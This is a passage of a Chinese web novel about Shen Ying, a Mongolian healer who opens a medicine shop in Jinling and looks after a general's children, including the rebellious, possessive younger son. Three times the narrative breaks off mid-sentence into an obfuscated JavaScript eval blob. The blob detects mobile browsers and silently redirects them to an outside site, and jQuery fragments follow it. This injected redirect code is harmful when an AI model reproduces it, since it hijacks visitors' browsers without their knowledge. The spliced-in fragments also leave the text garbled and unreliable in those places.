沈樱不太了解金陵这边的习惯,在她老家,人们开店都是以自己名字为招牌的,一开始没有名声,慢慢的不就有了么。 不过听这老先生这么说,沈樱也觉得这名字不合适。 一番思索,沈樱当即敲定,把招牌改为了“都兰蒙药”。 一天下午,她在铺子里忙活,指使伙计把牌匾悬上去。 “再往左一点,可以了。” 又觉得哪里不太对,一条腿迈上梯子,亲自调整了一下。 她个子生得高,稍稍往上站一点便能伸手够到牌匾。 陈锦时身边跟着挎书包的旺儿,他早来了,倚在一旁茶馆的墙上,叉手站着,看了她许久。 嘴里念叨着:“都…兰…蒙…药…” 沈樱回过头,见他来了,拧着眉淡淡瞥了他一眼。 “你来这儿做什么?” 紧接着她又要去搬东西,他忙跟上去,她搬什么他便立马接过去。 “这儿用不着你帮忙,就快要考试了,你不回去读书,别再我这儿晃。” 陈锦时没搭理她,仍自顾自帮她忙活。 见她又要去搬药柜,那药柜看着毛呼刺啦的,他忙拦住她:“我来吧,你仔细手疼。” 7. 第 7 章 沈樱本不想让他掺手,却被他拽着退后了两步,他力气愈发大了。 这段日子,陈锦时每日清晨都要在院里拎着石墩扎两个时辰马步,陈济川总说他力气没往正处使,沈樱懒得管这些。只是此刻被他捏着腕子,才暗忖:他这力气怎的突然这么大了? “陈锦时,我叫你放下,你现在该做什么你不知道吗?” 陈锦时帮她把药柜搬到了她想要的位置,回头时眉眼间含着愠怒:“你最近怎么动不动就凶我?” 沈樱皱起眉头,微怔着歪头:“我有吗?”她向来是这般说话的呀。 陈锦时道:“我就要去省城考试了,你能不能对我温柔些?” “我没有对你不温柔啊。” 他脸上夹杂着愠怒与委屈,音量压得低沉了些,眼睛定定看着她:“可你刚刚说话很大声。” “……” 沈樱后退了两步,怎么回事,他的指责带有一丝侵略性,沉沉朝她压了下来。 他没再施压,没好气地别过头,拿了砂纸替她打磨药柜上的毛刺。 “沈樱,你买的这是什么破烂,没银子找我爹要去,你买点好的给自己用行吗?” 沈樱背过身去,拿了抹布开始擦柱子。 “我开店是为了赚钱,不是亏钱来的,时二爷,你别管行吗?” 说着,她也没继续赶他走,两人一言不发,在铺子里忙到深夜。 清晨,沈樱与陈济川在院子里吃饭喝茶,闲聊几句。 “你医馆修缮得如何了?开张的时候我叫上几个老友给你捧场去。” 沈樱摇头,给他掺上茶:“可别,我想低调些,更不想借陈家的名头。” 陈氏老号在金陵有些名气,她单独开店本就怕人说闲话,“都兰蒙药”绝不会用陈家任何配方、借任何人脉。 “若是有要看病的老友,将军还是叫他们先去陈家医馆里看,治不好的再到我那儿问。” 陈济川笑道:“也行,左右都是咱们自家的铺子。” 沈樱懒得与他争,二人又聊了一会儿孩子们的事。 “锦行聪明又踏实,在柜上历练学东西学得很快,眼看就能独当一面了。” 陈济川点头:“大房家业有他撑着,我也放心。就是老二,让我实在忧心。” 沈樱安慰他:“时哥儿不比锦行差的,他在读书上颖悟绝伦,只是平常不着调,只要他愿意,我看他前程大着呢。” 陈济川哪里不知这个道理,可陈锦时是什么人? 一切皆在他愿意,他愿意万事大吉,他不愿意拿鞭子抽他也没用。 陈济川没当着都兰的面说出这话,只对她“嘿嘿”一笑:“那你福气可不就在后头嘛,叫时哥儿好好孝敬你,往后带你过富贵日子。” 又说起陈锦行的年纪来。 “他今后要照管那么多家铺子,养活弟弟妹妹,不可能永远指望你帮忙,他年纪也快到了,我还要劳烦你,帮着留意留意亲事。” 沈樱点头:“我当初既然答应你照顾三个孩子,这些都是我应该做的。” 等陈锦时有了长嫂,她也再不必管他了。 这时陈锦云被奶娘牵来,沈樱见了欢喜,把她拎起来抱在自己腿上。 八岁大的小女孩儿身材纤瘦,在她怀里跟个小鸡仔似的。 她柔柔地拢着她,目若秋水,拿豆沙包给她吃。 “慢点吃,别噎着。” 陈锦时刚练完功,兴起时还耍了两套棍子,呼吸通畅,没什么毛病。 他满头大汗地走过来,朝圆桌上望了望:“怎么没有牛肉烧饼?” 沈樱伸出一只手,扯着他袖子往后退:“你能不能洗洗再来?浑身脏死了。” 陈锦时闻了闻自己,知道沈樱一向最嫌弃他身上脏,原本大大咧咧惯了的性子,此时耳朵尖却一红。又见他爹清清爽爽坐在她身边说笑,那氛围刺得他心头冒火,转身回房换衣服去了。 过了会儿,穿了一身新长衫过来,腰间还佩了玉。 从桌上拿了个包子,便要去书院。 沈樱瞧他这模样倒还新奇。 只陈锦时离去时,听见后面两人讨论起“时哥儿长大了”这样的话题时,心里头气又不打一处来。 他转身倒回去,沈樱愣愣看着他又走到自己跟前来。 “有事?” 怎料他拉起她胳膊,她不得不起身跟着他起身。 “陈锦时,你别调皮了,行吗?乖一点。” 他把她拉得离他爹远远的,两人坐那儿,明明年纪像父女,却有一种老夫老妻的氛围,这种忘年之交的气氛让陈锦时觉得很不舒服。 沈樱力气不小,甩手摆脱了他,耐心问道:“你有什么事?说吧。” “阿姆,你年纪也不大,整日跟他一个老头子有什么好聊的。” 他俩时常坐着喝茶一喝就是一整日,一个在摇椅上摇啊摇,一个手上拿绣绷穿针引线。 沈樱耐心跟他解释:“我与将军有许多可以聊的,时哥儿,你下次可以一起听听。” 陈锦时感到泄气,不是第一次这样了,拳头打到棉花上的感觉,便转身上学去了。 沈樱与陈济川又谈笑了一会儿,便去了店里。 从陈家铺子里调来的伙计姓白,干活很利落,对沈樱也很服气,一心想跟着她学蒙医。 “白掌柜,今后店里就拜托你了。” 沈樱又调了几个白掌柜之前用得习惯的伙计过来给他差使。 “沈姑娘客气,以沈姑娘的医术,这‘都兰蒙药’假以时日必能打响名声,倒是在下高攀了。” 沈樱在店里打量着,淡淡道:“白掌柜不必说这些客气话。既然都准备好了,那便三日后开张吧。” 傍晚,沈樱在房中静下心来做针线,做的是一件坎肩。 陈锦时下学回来,按照惯例到她房门前问安。 他躬身敲了敲门:“阿姆,我回来了。” 里头传出来淡淡的一声“嗯”。 陈锦时又敲了两下门:“阿姆,你在做什么?” “在做针线。” 沈樱拿剪子捡了线头,换了另外颜色的丝线,重新穿针引线。 陈锦时不知想起什么,忽然问道:“阿姆,正到夏天最热的时候了,你给我做的鞋面做好了吗?” 他两月前见过她在房中做一双与他尺寸相合的鞋面。 “我什么时候给你做鞋面了?你要是缺鞋子穿,我给你银子,你上外面买现成的去。” 陈锦时疑惑:“上次明明……” 里头又传出来话音:“我没时间给你做这些,之后也不会再做。对了,你买到喜欢的文具套子了吗?” 话说到这儿,像是点他似的,陈锦时骤然灰心丧气。 “那你现在在做什么?” 沈樱答:“在秋天到来之前,我给将军做个新坎肩。” 陈锦时顿时无言。 “你不是没时间做这些了吗?”嘟囔了一阵儿,他扬声质问。 “你还有事吗?” 她见门口的人影子还立着。 陈锦时闷闷道:“我今日做了篇文章,特地拿来给你看。” “先生给你批了吗?” “批了,说写得好。” “那也不必拿给我看了,我不懂这些。” 陈锦时生起了闷气,她再关心他一点要死吗? “阿姆,既然没事,那我去城外演武场跟他们比试去了。” 沈樱骤然抬头:“陈锦时,不可以。” 陈锦时咧着嘴笑邪笑:“你不管我,我就要去。” 他在她门前踱步,把地上的石子踢来踢去,唇角微微勾起。 果然,门开了。 他抬头:“阿姆。” 他又长高一些了,差些与她平视。 沈樱推开门让他进来:“你做的文章呢?拿出来我看看。” 陈锦时从旺儿提着的书箱里取出来,递给她。 她伸手接过,走到桌边坐下,他跟过去,拿过她的杯子开始倒茶喝。 又是牛饮而尽。 沈樱学习汉字用了些时日,如今也只是堪堪会认而已,陈锦时写的文章她也看不来好坏,只是他这么想让她看,她便看一看。 陈锦时喝了她几杯茶,就开始不动声色地四处打量她的房间。 她的床被隐在屏风后面,满室都是她的气味。 她是个极有精气的女人,坐在那儿,气质沉静,却无人能忽视她的存在。 就像这间屋子,熏满了她的气味。 这种气味不能单一的形容,也不能说像什么,但代表着她,也代表着陈锦时的少年时期。 无论再过多少年,只要闻到这气味,他都会瞬间回到十一二岁时,在她臂弯里睡觉的日日夜夜。 打量了一圈,他的目光落在她刚刚做的那件坎肩上。 的确是那老头子才会喜欢的花色。 他心里慢慢泛起酸涩,伸手拿起那件坎肩,她的针线活儿不算做得好的,但做得极用心,针脚细密,穿在身上时总是带着温度。 他心底生出一股冲动,他不能让她这样对待他,就算“他长大了”,难道就能接受她的忽视了吗? 他终生也不要放弃得到她的爱。 “阿姆,我也想要一件。” 起初是祈求的口吻,楚楚可怜的模样。 在得到她的拒绝后,他决定暂时罢休。 他从她房间里出来,回到自己房中,终于拿出那只被自己藏在箱底的,坏掉的文具套子。 旺儿问他:“二少爷,这个都坏了,还拿它做什么?” “你去拿针线来,我要把它修好。” 旺儿瞠目结舌:“你……你你,随便你吧,我这就去拿针线来。” 陈锦时就是个笨手笨脚的蠢男人,哪里会做针线。 不出意外,半夜旺儿在外间听见房里传来暴躁发狂的捶床声。 “蠢物!蠢物!蠢物!” 他与这蠢物纠缠了整整一个月。 他洗净了它身上的污渍,终于把它重新带在身上。 他故意到沈樱跟前晃悠。 沈樱给陈济川的坎肩做好了,陈济川很喜欢,每天都穿在身上,陈锦时看得牙痒痒。 相比起来,这个坎肩做工精致,沈樱在针线上有很大精进。 陈锦时身上的笔囊嘛……稍显粗劣,主要是因为他自己加工的原因。 沈樱乍一看见他书箱里装着的文具套,稍微愣了一下,终是没说出什么话来。 陈锦时就等着她问些什么呢,她越沉默,他越心急, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111944|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏她绝口不提。 旺儿早就与她说了,说陈锦时那么一个人,天天半夜缩在被窝里做针线,一会儿发狂一会儿嗤笑的。 一会儿是:“该死!怎么又缝错了。” 一会儿是:“哼,就知道难不倒本少爷。” 她心里自然是动容的,她心很软,但面上不露分毫。 “陈锦时,别在我跟前晃,我要去柜上了,你该干嘛干嘛去。” 走的时候,她唇角含着笑,可惜他并没看见,望着她冷冰冰的背影又生起了闷气。 他能懂得珍惜她做给他的东西,她已经十分感慨了。 别看陈锦时平时最惹人心烦,这样的人往往是最重情重义的。 表面上,她待陈锦行更温柔,陈锦行也待她始终恭谨尊敬,但两人都只居于世俗的分寸,做着自己该做的事情。 她对陈锦时,到底是超出了责任的范畴,付出了真心的关爱。 “沈樱!” 陈锦时生气了,忍不住拔高了声音。 沈樱脚步未停,提裙上了马车,陈锦时在后头气急败坏。 到了药铺,沈樱在柜上陈列了陈锦时一直在吃的“定喘散”,此药功效明显,见效快,是她在陈锦时身上一次一次调试出来的。 白掌柜问她要如何给此药定价,她沉思一会儿,想着患有喘症的小儿一般都是天生,大多无辜,此症又凶险,便说了个低价,刚好覆盖药材钱而已。 白掌柜不舍得她的心血和医术这样贱价出卖,便劝她:“沈姑娘心善,但咱们铺子新开张,定价太低怕也叫人轻易不敢买,没的轻贱了咱们蒙药的招牌。” 沈樱便道:“我再制一款丸药,药效相同,更易吞服,定价高些给富贵人家便是。不差钱的自会买贵的,我要的是寻常人家也吃得起。” 除了此药外,柜上还摆着清热解暑、消肿解乏的丸药,又请了两位医师坐诊,以便有人拿不准要吃什么药的情况,“都兰蒙药”也算像模像样的经营起来了。 定喘散定价低,陈货以后被冷落了许久。沈樱又打定主意生意上的事情不沾陈家的名头,也因此连“陈家二少爷的喘症就是她的定喘散治好的”这样的话也没往外说。 后来有几家实在没法子的穷人家过来买了这药,只抱着试试的心思,竟真见了效,定喘散才在小范围内有了些名声。 她也不着急,比起一举成名,她更希望稳扎稳打。 陈锦时每日下学回家都会经过她的药铺。 他不常进来,尤其是今天,他还生着她的气。 虽说把文具套子弄坏一开始是他的错,但他知错就改,就是好孩子。 难道不值得她哪怕夸一句吗? 想到这儿,他没进去找她,往门后头躲了,偷偷往里看。 沈樱在整理货架上的药品,金陵潮湿闷热,药物和食物都容易馊败,她蹙眉检查,稍觉不对便果断丢掉。做药行,口碑最是要紧。 陈锦时看她蹙着眉头,眉眼清婉,一会儿一声轻叹,随即果断一丢。 他偷偷看了她好久,斜眼瞥着她,心底不住地叨叨。 “败家娘们儿,丢丢丢,就知道丢丢丢。” 沈樱丢完一包发潮的草药,又转身去搬墙角的药缸,里头堆着前些日子新收回来的陈皮,打算趁着日头好拿出去晒晒。 她袖口挽起一截,额角沁出了细密的汗。 陈锦时嘴里仍没闲着:“笨手笨脚,那缸子沉得很,就不知道叫个伙计来?看等会儿把你摔一下就知道了!” 可惜沈樱不会如他的意,她力气很大,稳稳地托起药缸,又稳稳地落下,连声“哎哟”的声音都没有。 陈锦时恨恨往门框上抵了抵额头。 直到白掌柜从外面进来瞧见他: “二少爷,你站在这里做什么?” 沈樱忽然抬头,目光往他身上扫来,陈锦时被吓了一跳,慌忙缩了下头。 “陈锦时,你来了就进来。” 她的声音清清淡淡的,见了他的神情也是清清淡淡的。 她指了指里间:“去那儿坐着,有点心给你吃。” 全程也没正视他一眼,陈锦时目光却随着她动,她老是走来走去的,总在忙,手上总有做不完的事情。 他倚着门框:“我不爱吃点心。” 沈樱总算瞥他一眼:“牛舌饼,你小时候最喜欢吃的那家,不爱了吗?” 他揣着手道:“是你专门给我买的吗?” 沈樱没答话。 他凑上去:“是你专门给我买的我就吃。” 沈樱回他:“爱吃不吃。”转身继续忙活。 陈锦时往她的椅子上坐了,又拿起她的茶杯,给自己灌了两杯。 “沈……阿姆,你什么时候忙完?” 他险些忘了这里还有其他人在。 沈樱回他:“你想回就先回去,不用在这儿等。” 又是拳头打在棉花上的感觉。 他没好气地从书箱里掏出功课来,往她的配药桌上摆了。 白掌柜见沈姑娘没有要阻止的意思,也没管他。 便朝沈樱打趣两句:“沈姑娘,这半大的小子最难管教了,对吧,我家也有一个,跟个皮猴儿似的。” 陈锦时把笔杆子往桌上一砸:“白景堂,你给老子闭嘴!” 8. 第 8 章 沈樱瞥他一眼,拉住白掌柜道:“你别生气,他就是这个性子。” 白掌柜笑着应了,表示理解: “沈姑娘辛苦。” 天黑之前,她领着他回去,陈锦时絮絮叨叨给她讲着今日学堂上发生的事。 沈樱应得不很殷勤,只时不时地“嗯”一声,但都听进去了。 “对了,牛舌饼,是你专门给我买的吗?” 绕来绕去还是回到这个问题。 沈樱无奈点头:“是,拿回房吃吧。” 秋去冬来,原本要喜气洋洋准备过年的事情,陈济川却突然病倒了。 沈樱原本在金陵城内替陈锦行见了几家夫人,只要现在定下亲事,过两年等他及冠,正好娶进门。 这天,沈樱端着药碗从陈济川房里出来,将军身体情况不大好,她脸色也不好看。 陈锦行找上了她。 “阿姆,赵家……还是算了。” 沈樱问他:“怎么了?可是不喜欢?还有几家小姐……” “不是。” 陈锦行打断她。 “我还年轻,又是男子,此事不必急于一时,小姐却耽误不起,还是等一切尘埃落定再说吧。” 陈锦行话说得委婉,沈樱却懂他意思。 谁也不想面对这件事,却又不得不面对。 就连一向爱蹦跶的陈锦时,这些日子都安分了,日日把自己关在房里读书,说要考个秀才给他爹看。 沈樱也尽量把店里的事情都推给了白掌柜,一心一意侍奉在陈济川床前。 “将军,我新配的药,你试试。” 陈济川道:“都兰,你别忙活了,我的身子我自己知道。” 沈樱却从没放弃过,一日一日地调整方子,日复一日地给他端上新药。 陈济川心疼她,也珍惜她的苦心,只要是她熬的药,再苦,再古怪的气味,他也会端着喝下。 “这次又是哪儿来的偏方?怎么喝着有股马尿味儿。”陈济川咂了咂嘴问道。 沈樱当真正儿八经给他回答了:“我在一本蒙文古书上看到,马尿能打通经脉,去腐生肌,止脓活血。你真别嫌它,万一有用呢。你放心,我煮沸过的,又细细打磨了药性,重新拟的方子。” 陈济川一碗药刚下肚,听了这话,重重咳了两声。 虽然很想吐出来,看着都兰担忧他的神情,他还是安慰她:“说不清真有用呢,我胃里烧得慌呢。” 过了两日,他与她说:“我这两天好像精神一些了,都兰,还得是你。” 沈樱往他后背塞了个垫子,扶他起来坐会儿。 “精神些了就好,好好把这个年过了,时哥儿就要去考试了。” 陈锦时正用功苦读之时,沈樱敲了门进来。 这是她第一次主动进他的房间。 陈锦时没抬头,还以为是旺儿,嘱咐了一句:“旺儿你先睡吧,我这儿用不着伺候了。” 却听见那人还是走了过来,他眉头微蹙了一瞬,又展开。 他分得出是谁的脚步。 沈樱往他手边放了一双鞋。 陈锦时一愣:“阿姆。” 拿起鞋细看。正是他之前见的鞋面花样,只是从薄款改成厚款,里头嵌了厚厚的羊绒,尺寸也加大了,显见得是这几日抽空做的。 “阿姆,我还以为你当真不给我做任何东西了。” 沈樱见他这样高兴,心里一软,忍不住说了几句好话给他听。 “我看你读书这么刻苦,也怕你冬日脚冷,时哥儿,阿姆怎会不念着你呢?” 陈锦时又长高了一些,声音添了几分冷寂,面部轮廓没有之前那么圆润了,略显得有些生硬。 当他直视她时,她甚至能感受到他眉目间地攻击性与凶性。 只是当他撞进她的眼里,凶性与攻击性都会褪去,转而变得有些可怜,有些祈求她的爱怜,她将此理解为一种撒娇。 她有些抵抗不住他这般视线,便挪开眼,又多嘱咐了一句:“将军这几日身子大好,你只管读你的书,家里的事情有我与锦行操心。” 陈锦时原本没什么,听她说起她与陈锦行,他便急了。 “阿姆,我也可以替你操心。” 她站起身,见他望着头这么说道,一时没忍住,伸手摸了摸他的脸:“我知道,只是暂时还劳动不了二爷你,乖乖读你的书吧。” 她温热的手掌一覆在他的脸上,他便瞬间消解了所有脾气和无理取闹,眨了眨眼,软下来:“好吧。”他的睫毛很长,眨眼的动作带着点黏腻的乖巧。 年关将近,沈樱在府里上下忙碌,与陈兴媳妇商量。 陈锦行道:“今年简单些过吧,不必要闹出太大的声势来。” 原本过年主要也是回二房陪陈家老太爷和老太太过。 沈樱的意思却是,大房里,也得请戏班子和锣鼓班子来唱一唱,再买些鞭炮来放一放。 “至于祭祖和年夜饭,你们回二房去了,我自个儿在这儿待着还想要个热闹呢。” 陈锦行便笑:“哪能不让阿姆你热闹呢,提前把席面订好,我们晚上回来了陪着阿姆吃便是了。” 沈樱点头,又开始筹备起要送往各处的年货来。 孝敬到二房老太太那儿的,时哥儿他们的亲外祖家江家的,将军从前的老友、上司,时哥儿书院里的先生们,陈家生意上合作的各位东家、掌柜…… 陈锦时看她忙得厉害,劝她道:“你管他们做什么?随便送些礼对付对付就是了。” 沈樱摆摆手:“你不懂就别掺和。” 老太太那儿年夜饭的请帖下来,沈樱拿到手里一看,特意写上她,叫她一起过去吃。 沈樱觉得自己只算是大房的人,并不算陈家大家族里的人,每次都没去。 这次老太太专门请了,还说,要她“务必赏脸”,她一时倒不好拒绝了。 正犹豫着,陈锦时最看不得她蹙眉,便对她道:“你不想去就不去,我去跟我祖母说。” 沈樱看着他:“你能说什么?说我不想去?” 陈锦时摇头:“我还没那么蠢,就说你要回你自个儿家过去呗。” 沈樱无奈:“我家离金陵远着呢,你知道我家在哪儿吗?” “你外祖家不是京城人吗?” 沈樱愣了半晌,自己都快忘了这茬了。 她母亲远嫁至楼烦,与外祖家早没什么联络了。 陈锦时又道:“只是做个借口而已,又不是让你当真去找他们。” 沈樱瞅了他两眼,他两手抱胸,她不让他进来,他便倚在门框上,吊儿郎当的姿态。 她忽然兴起,问他:“时哥儿,你想不想学医?” 陈锦时顿时摇头:“不想,我爹说了,我哥从医,我从文,你别想拉着我学那玩意儿。” 沈樱稍稍有些遗憾,陈锦时聪明又讲义气,若她能有这么个徒弟,那可真是太好了。 她做他阿姆没办法做一辈子,一想到过不了几年就要离开他了,她心里还怪不舍的。 最终,她依了陈锦时的法子,以“回外祖家”为由推了老太太的邀请,实则除夕当晚哪儿也不去。 年前几日,也不知是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111945|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是那马尿起效果了,陈济川的身体好转了许多,甚至能站起来走两圈。 府上自然是一派喜乐。 陈锦行与陈锦时商量准备着要带上陈锦云往他们外祖家去一趟,他们母亲不在了,这一趟更不能少。 沈樱早给他们备好节礼,江家离陈家有大半日距离,三人明日才回得来,沈樱嘱咐了许多,陈济川坐着轮椅跟在后面。 “一路小心,照顾好妹妹。” 陈锦行朝她颔首行礼:“阿姆放心,回去吧。” 陈锦时穿着她新给他做的鞋,朝她道:“沈樱,这两日你就别去柜上了,没我去接你,去了也要趁天亮早些回。” 沈樱朝他摆摆手:“知道了。” 陈济川指着他鼻子骂道:“小兔崽子,又怎么称呼你阿姆呢?” 三人一走,府上一下子清净了下来。 沈樱每日陪着将军喝茶聊天,两人倒也格外自在。 午后两人散步出来,在园子里摆上茶点坐了,陈济川把一条手臂瘫在圆桌上,沈樱安下心给他把脉。 把了足足有一刻钟,陈济川问她:“如何?是不是回光返照了?” 沈樱无奈摇摇头:“放心吧,还能活。” “还能活多久?” 沈樱埋头琢磨方子,提笔写写画画的,陈济川偷偷看去,就怕又有什么古怪玩意儿。 “还能活……十来年?” 陈济川嗤笑一声:“我才不信,都兰,你就会哄我高兴。” 却说陈锦时与陈锦行这一行人,雇了两个马夫,给陈锦云带了个奶娘,再有一个旺儿,便没有其他随从了。 路走了一半,陈锦行一路无话,陈锦时也不是多么高兴的一张脸,唯有陈锦云还无忧无虑。 她对母亲的印象本就不多,这时候,陈锦时和陈锦行难免都陷入了对亲生母亲深深的思念之中。 话多好动如陈锦时,此时也一路保持沉默,望着窗外发呆。 狭小的车厢内,时不时地发出一声唉叹。 “陈锦时,我还以为你早就忘了咱们母亲了。” 陈锦时瞪他:“说什么呢你。” 陈锦行略微垂眸,看向他脚上那双鞋。 “你待她有些亲密得过了吧,陈锦时,你真就这么缺妈吗?” 陈锦时垂头,看着脚上的鞋,穿上这鞋回外祖家的确有些过了,不过他早已弄清楚了,父亲与阿姆不是那般关系,也没有那种意思,他穿这鞋不代表对自己母亲的任何不尊重与背叛。 他哼笑一声:“陈锦行,我不是你那种冠冕堂皇之人,少假惺惺了,平常你待她比谁都恭敬,是不是我有鞋你没鞋你心里不舒服了?” 陈锦行挺直脖子道:“我只是做我应该做的事情,陈锦时,是你超出了。” 为她一双鞋难过或是高兴成这样,陈锦时实在是对弟弟感到很不解。 陈锦时道:“陈锦行,做人怎么可能没有感情呢?再说了,你不也把家里‘九珍丸’的秘方告诉她了?” “那是因为我信她的人品。” 在陈锦时看来,兄长实在有些冷血过了头。 在陈锦行看来,陈锦时的感情没出息又没道理,迟早要出大事,一般男子长他这么大,也没这么依赖母亲了,陈锦行总觉得有哪里怪怪的。 “那我问你,阿姆将来会离开我们家,会成婚、生子,会有她自己的家,不会照顾你一辈子,难不成到时候你还要去与她的亲生孩子争宠吗?” 陈锦时哼笑一声:“当然不会,到时候我就是帮她照顾孩子又如何?她成婚了,她丈夫我也照样揍!” 9. 第 9 章 陈锦行:“……” “都兰蒙药”近来生意红火,尤其是定喘散,口碑传开后,尽管售价低廉,也引来了不少不缺银子的人家购买。 白掌柜劝她:“务必尽快上柜价格更加高昂的丸药。” 沈樱并非不爱赚钱,只是前些日子操心陈济川的病情,后来又被过年耽搁了,便说:“年后再上吧。” 陈锦时他们从外祖家回来没两日,便又随陈济川去二房过年了。临走时,陈锦时对沈樱道:“阿姆等我,我带好吃的回来给你。” 沈樱有些不习惯如今的陈锦时,不知怎么的,他最近变好了很多。 不光是言语上的关心,他平常更是时时到她店里去帮她干活不带歇气的。 她能明显感觉到他对她的这种示好,但是抱歉,这种“示好”她认为是一种捉弄。 陈锦时这种人,怎么会乖呢? 陈锦时是这世上顶顶性格恶劣的男子。 蛮不讲理、顽劣不堪、傲慢无礼。 除夕夜,沈樱一人在家,提前从香满楼订了单人席面,好在苏兰舟过来陪她,倒不算孤单。 “其实你不用过来,我家本来也没有过年的习惯,这是汉人的节日。” 苏兰舟道:“但你在这里过日子,看着万家灯火,要是觉得孤单该怎么办呢?” 沈樱也不多狡辩,耸了耸肩:“那好吧,来尝尝,这羊肉是我一早费了老劲从北方采买来的。” 陈家二房此时正热闹着,三世同堂齐聚,老太太刚问过,沈樱为何没来。 陈济川正要答话,陈锦时先抢了过去:“阿姆回她自己家了。” 老太太道:“她自己家?我记得,她家不是远得很吗?” 陈锦时又答:“祖母不知,阿姆外祖家在京城呢。” 老太太脸上闪过一阵讪色:“有亲戚在京城啊,不早说,我还一直当她孤苦无依的,瞧她可怜。” 二房婶子也附和:“是啊,我还当她架子有多大,老太太三请四请也不来,来了咱们家这么多年,连个面也没露过。” 陈锦时笑道:“阿姆平常架子是有些大,她最近忙着呢,连我也不太搭理的。” 陈济川连忙拧他手臂上的肉,咬牙切齿:“别在外头说你阿姆坏话。” 陈锦时撇开他爹的手,道:“一,这不是坏话,我这是在夸她架子大,有身份;二,阿姆又不是我奶的儿媳妇,我就算说她两句又怎么了?我奶还能多管闲事斥责不相干的人不成?” 陈锦时嗓门不低,这话全家都能听见,陈济川继续咬牙切齿,恨不得一拳把他攮死。 一家人再不提大房那位,好不容易安静吃会儿年夜饭,聊聊天,谈谈子孙趣事,陈锦时先叫人把桌上的菜色各预留了一份。 “祖母,万一我阿姆在她外祖家没吃好呢,我给她再带回去点儿。” 老太太脸黑了一瞬,多年的涵养让她没有变脸,慈笑着道:“时哥儿有孝心是好事,咱们陈家祖训里最重要的就是一个‘孝’字,我怎会不支持你?沈姑娘爱吃些什么,多装些。” 二房太太脸色变了又变,哪有这样的道理?时哥儿仗着自己从小骄纵,什么要求也敢提,什么话也敢说,家里偏还没有一人斥责他的。 就连老太爷也一直坐在一旁一言不发。 到了晚上,一家人围在一起放了花炮,便各回各家去了。 沈樱刚送走苏兰舟,陈锦时提着食盒先一步回来了。 “阿姆,快看我给你带的好吃的。” 桌上的席面还没撤下去,剩些残羹冷炙,陈锦时打眼一看,比他在老太太那儿吃得还要好。 “阿姆,你吃过了啊。” 他把食盒悄悄往身后藏,沈樱看他:“带了什么回来?” “没什么,一些剩菜,我留着明天吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111946|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈樱喝了些酒,此时倚着头支在桌上懒洋洋看他:“拿来我看看。” 陈锦时无奈把食盒拿过去,撇撇嘴:“无非就是那些菜,老太太还能置办出什么新奇玩意儿不成?” 说着,他一边掀开盖子给她看,一边打量她神色。 沈樱朝他食盒里一看,一时没吭声,虽说她总觉得陈锦时在憋个大的,要捉弄她一回,但这人的心思恰恰又是写在脸上的,她一看便知。 她琢磨着,不想让他扫兴,便满怀欣喜地往食盒中看去。 她眼睛一亮,还朝他笑:“你怎么知道我想吃这个了?” “你真想吃?”陈锦时一边笑着把菜往外端,一边问。 沈樱点头,看着他把菜摆出来,又是一小桌席。 陈锦时端来凳子坐下:“正好我刚才吃得少,可以陪你再吃些。” 两人刚坐下,剩下的人也回来了。 “陈锦时,你小子跑得最快,你祖父的还压祟钱没给你呢,拿去。”说着,陈济川把装着银子的荷包塞他手上。 陈锦时看着他们就烦,陈济川张罗着几人坐一圈陪沈樱再吃一顿。 陈锦时烦都烦死了:“有我陪阿姆就是了,人这么多别吵着她。”说着,把荷包揣进了兜里。 陈济川问沈樱:“都兰,你嫌我们吵吗?” 沈樱摇摇头,半倚在桌边,唇角噙着浅淡笑意,声音软和却清晰:“怎么会?你们几个加起来,也没有时哥儿吵,行了,都安心坐下吃会儿吧。” 几人都极有默契的没在二房多吃,早做了要回来陪她再吃一顿的准备。 一家人围坐,其乐融融地围着小桌子吃喝说笑。 陈锦行站起身对沈樱敬酒,有一堆感激的话要对她说。 陈锦时鄙视地瞥了陈锦行一眼,拉着沈樱道:“你别被他哄着喝多了,他反正也就是做做样子,说些场面话。” 10. 第 10 章 陈锦时却像是浑然未觉,拆他哥的台拆得毫不犹豫,生怕他阿姆察觉不到这人就是个伪君子。 陈济川望着小儿子唉声叹气,大过年的,也不想责骂他什么。 陈锦行举着酒杯怔愣,沈樱碰了上去,“噌”的一声:“锦行,新年长进,勤勉向上。” 陈锦行顿时回神,托着酒杯躬身行礼,随后一干而尽。 又道:“承蒙阿姆照料,愿阿姆日日舒心,少些操劳,多享清福。” …… 年后,一切归于平常,陈锦时读书更加刻苦,很少来烦她,沈樱果然日日舒心。 陈锦行如今已能在柜上独当一面,陈济川突然的病倒让两兄弟都成熟了不少。 沈樱开始带着陈锦云到柜上玩,陈锦云很乖,不会给她捣乱,时不时还能帮上她一些跑腿的活。 